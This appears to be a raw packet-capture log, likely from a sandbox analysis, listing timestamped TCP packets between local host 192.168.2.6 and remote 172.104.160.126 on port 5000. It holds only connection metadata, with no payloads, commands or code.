Jul 22, 2024 15:58:02.394704103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394716024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394721031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394732952 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394737959 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394750118 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394754887 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.394979000 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.395060062 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.398808956 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.398849964 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.398855925 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.398869991 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399000883 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399007082 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399019003 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399024010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399036884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399041891 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399059057 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399064064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399075985 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399080992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399092913 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399099112 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399102926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399107933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399116039 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399179935 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399184942 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399198055 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399203062 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399214983 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399229050 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399241924 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399496078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399501085 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399513006 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399518013 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399529934 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399534941 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399539948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399547100 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399558067 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399563074 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399574995 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399580002 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399593115 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399597883 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399610996 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399616957 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399629116 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399633884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399647951 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399652958 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399820089 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399825096 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399837971 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399842024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399854898 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399859905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.399874926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400018930 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400023937 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400037050 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400051117 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400055885 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400060892 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400073051 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400106907 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400320053 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.400405884 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.400496006 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400505066 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400521994 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400536060 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400619030 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400624990 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400629044 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400640965 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400645971 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400650978 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400836945 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400842905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400856018 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400861025 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400873899 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400878906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400892019 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400897026 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400908947 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400913954 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400927067 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400932074 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400944948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400949955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400963068 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400970936 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.400983095 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401351929 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401357889 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401371002 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401376009 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401387930 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401392937 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.401410103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403472900 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403484106 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403496981 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403501987 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403515100 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403520107 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403531075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403536081 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403547049 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403553009 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.403564930 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.405445099 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.405908108 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406014919 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406539917 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406546116 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406559944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406565905 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406584024 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406589031 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406666040 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406671047 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406683922 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406688929 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406701088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406706095 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406769037 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406774044 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406785965 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406790972 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406802893 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406807899 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406831026 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406836033 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406848907 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406853914 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406864882 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406872034 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406877041 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406888008 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406893015 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406897068 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.406902075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407058001 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407071114 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407075882 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407088995 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407094002 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407105923 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407110929 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407115936 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407126904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407131910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407144070 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407246113 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407250881 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407263041 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407288074 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.407294035 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.408025026 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.408096075 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.408443928 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.408451080 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.408466101 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.408471107 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.408495903 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.412949085 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413055897 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413064957 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413069963 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413089037 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413094997 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413109064 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413124084 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413198948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413291931 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413296938 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413312912 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413317919 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413330078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413371086 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413395882 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.413459063 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.413722992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413728952 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413733959 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413738966 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413744926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413749933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413760900 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413765907 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413778067 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413783073 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413794994 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413811922 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413816929 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413829088 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413834095 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.413846970 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414005995 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414011002 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414033890 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414038897 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414248943 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414254904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414259911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414264917 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414269924 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414275885 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414279938 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414284945 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414289951 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414294958 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414307117 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414459944 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414465904 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414505959 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414510965 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414524078 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414527893 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.414540052 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418535948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418567896 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418673992 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418679953 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418692112 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418698072 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418709993 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418715954 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418869972 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418875933 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418886900 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.418891907 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419040918 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419045925 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419096947 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419101954 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419231892 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419318914 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419325113 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419337034 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419543028 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419548035 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419560909 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419565916 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419578075 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419584036 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419598103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419604063 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.419605017 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.420528889 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.420536041 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.420552015 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.420557022 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.420569897 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.423288107 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.423368931 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.681127071 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.682769060 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.682838917 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.683341980 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.683399916 CEST	49785	5000	192.168.2.6	172.104.160.126
Jul 22, 2024 15:58:02.691077948 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.693891048 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.693906069 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.693918943 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.693931103 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.693937063 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694139004 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694153070 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694165945 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694178104 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694190025 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694211960 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694224119 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694227934 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694241047 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694319010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694324970 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694335938 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694349051 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694360971 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694366932 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694382906 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694396019 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694408894 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694420099 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694433928 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694446087 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694458961 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694470882 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694483042 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694494963 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694506884 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694518089 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694530010 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694541931 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694554090 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694566011 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694577932 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694591045 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694602966 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694617987 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694629908 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694642067 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694653988 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694664955 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694677114 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694689989 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694701910 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694714069 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694725990 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694737911 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694749117 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694761038 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694772005 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694783926 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694796085 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694808006 CEST	5000	49785	172.104.160.126	192.168.2.6
Jul 22, 2024 15:58:02.694819927 CEST	5000	49785	172.104.160.126	192.168.2.6
